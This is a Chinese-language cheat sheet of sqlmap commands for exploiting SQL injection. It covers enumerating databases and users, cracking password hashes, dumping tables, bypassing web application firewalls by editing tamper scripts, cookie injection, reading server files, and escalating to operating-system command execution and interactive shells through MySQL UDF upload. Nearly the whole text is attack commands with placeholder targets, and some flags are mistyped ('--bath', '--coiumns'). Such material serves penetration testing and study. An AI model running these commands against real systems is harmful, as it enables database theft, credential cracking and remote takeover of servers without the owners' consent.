sqlmap實戰-1
檢測和利用sql注入
python2 sqlmap.py -u "[URL_SQL注入點]" [--batch]
--batch
:自動選擇sqlmap默認的選擇
尋找目標
直接連接數據庫
python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users
數據庫操作參數:
--dbs
:列舉數據庫信息
--current-db
:當前數據庫名
--current-user
:當前數據庫用戶
--users
:列舉DBMS中所有用戶
--passwords
:列舉DBMA中所有賬戶和密碼
-D [databases] …
:指定數據庫名,對庫進行操作
-T [tables]
:指定數據表,對表進行操作
-C [columns]
:指定列名,對列進行操作
--tables
:列舉數據庫表的信息
--columns
:列舉數據表的列名信息
--schema
:枚舉數據庫結構
--count
:枚舉數據包的項目數
-D/-T/-C/--dbs/--tables/--columns/--schema/--count
聯合操作就可以實現對數據庫的具體操作
#列舉庫中的所有表:
-D [庫名] --tables
#列舉表中的字段名:
-D [庫名] -T [表名] --columns
--dump
:導出數據
--start
:指定開始的行
--stop
:指定結束的行
# 導出當前全部的數據表數據
-D [庫名] -T [表名] -C [字段名] --count --dump
# 導出部分(范圍)數據表數據
-D [庫名] -T [表名] -C [字段名] --start {*} --stop {*} --dump
sqlmap技巧
利用注釋的方法繞過waf注入
/tamper/halfversionecdmoreckeywords.py:
return match.group().replace(word, "/*!0%s" % word)
# 修改
return match.group().replace(word,"/*!50000%s*/" % word)
/xml/queries.xml:
<cast query="CAST(%s AS CHAR)"/>
<!--修改-->
<cast query="CAST(%s, CHAR)"/>
sqlmap實施注入:
sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py
sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
URL重寫SQL注入測試
value1
為測試參數,加*符號即可,sqlmap將會測試value1
位置是否可以注入
列舉並破解密碼hash
當用戶可以有權限查看用戶密碼的時候,--password
會自動連接並破解hash返回結果
對目標進行爬取
--batch --crawl=3
從目標URL爬取網站
使用hex規避編碼導致丟失
sqlmap.py -u [url] --banner --hex -v 3 --parse-errors
--parse-errors
:解析和顯示響應數據庫錯誤信息
模仿移動端訪問目標
sqlmap.py -u [url] --banner --mobile
--mobile
:設定一個移動端的“User-Agent”模仿手機訪問URL
智能判斷測試
sqlmap.py -u [url] --bath --smart
--smart
:快速判斷 為報錯注入點進行注入
結合Burp進行注入測試
在Burp——Options——"proxy.Requests"中保存Burp的抓包記錄
sqlmap.py -r burp***.txt
從抓包記錄中加載HTTP請求
sqlmap.py -u [url] --data "[*……*]"
自動填寫表單
sqlmap.py -u [url] --forms [……]
--forms
:解析和測試目標URL表單
讀取Linux的文件
sqlmap.py -u [url] --file [url]
延時注入
sqlmap.py -u [url] --technique -T --current-user
sqlmap.py -u [url] --delay 0.5
sqlmap.py -u [url] --safe-freq # 請求兩次
Burp抓包利用sqlmap注入
sqlmap.py -r ***.txt -p [需要注入的參數]
-p
:指定注入參數
sqlmap Cookies注入
默認情況下,sqlmap只支持get/post參數的注入,使用-level
參數且數值大於等於2就會檢測cookie參數,大概大於3時檢查User-Agent和Referer
sqlmap.py -u [url] --cookie [value] --level 3
sqlmap.py -u [url] --cookie [value] --level 3 --tables
sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
……
MySQL提權
連接並打開一個交互shell
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell
上傳lib_mysqludf_sys到plugin目錄
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
--file-write=
執行shell命令
sqlmap.py -u [url] --os-cmd=[^] #執行cmd命令(Win環境)
sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell